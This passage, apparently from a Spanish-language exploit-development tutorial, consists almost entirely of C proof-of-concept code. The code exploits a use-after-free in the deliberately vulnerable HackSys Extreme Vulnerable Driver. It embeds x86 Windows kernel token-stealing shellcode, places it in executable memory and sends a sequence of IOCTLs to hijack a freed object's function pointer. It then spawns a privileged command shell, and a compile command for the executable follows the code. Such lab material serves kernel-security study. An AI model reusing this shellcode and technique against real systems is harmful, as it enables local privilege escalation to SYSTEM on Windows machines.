int main()
{
  HANDLE hHEVD = NULL;
  char *evilBuffer = NULL;

  char shellcode[] = 

  // sickle -a x86 -p windows/x86/kernel_token_stealer -f c -m pinpoint
  "\x60"                         // pushal 
  "\x31\xc0"                     // xor eax, eax
  "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
  "\x8b\x40\x50"                 // mov eax, dword ptr [eax + 0x50]
  "\x89\xc1"                     // mov ecx, eax
  "\xba\x04\x00\x00\x00"         // mov edx, 4
  "\x8b\x80\xb8\x00\x00\x00"     // mov eax, dword ptr [eax + 0xb8]
  "\x2d\xb8\x00\x00\x00"         // sub eax, 0xb8
  "\x39\x90\xb4\x00\x00\x00"     // cmp dword ptr [eax + 0xb4], edx
  "\x75\xed"                     // jne 0x1014
  "\x8b\x90\xf8\x00\x00\x00"     // mov edx, dword ptr [eax + 0xf8]
  "\x89\x91\xf8\x00\x00\x00"     // mov dword ptr [ecx + 0xf8], edx
  "\x61"                         // popal

  // return to userland code
  "\x31\xc0"                     // xor eax,eax
  "\xC3";                        // ret

  LPVOID lpPayload = VirtualAlloc(NULL,
                                  56,
                                  (MEM_COMMIT | MEM_RESERVE),
                                  PAGE_EXECUTE_READWRITE);

  if (lpPayload == NULL)
  {
    printf("[-] Failed to create shellcode allocation\n");
    return -1;
  }

  memcpy(lpPayload, shellcode, 56);

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  evilBuffer = allocate_buffer(lpPayload);
  if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer (userland)\n");
    return -1;
  }

  printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);

  printf("[*] Freeing object\n");
  sendIoctl(hHEVD, HEVD_FREE, NULL, 0);

  printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);

  printf("[+] Enjoy the shell :)\n\n");

  system("cmd.exe");
}

Una vez compilado:

i686-w64-mingw32-gcc poc.c -o poc.exe

Nos da acceso!

alt text

Recursos

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/paged_code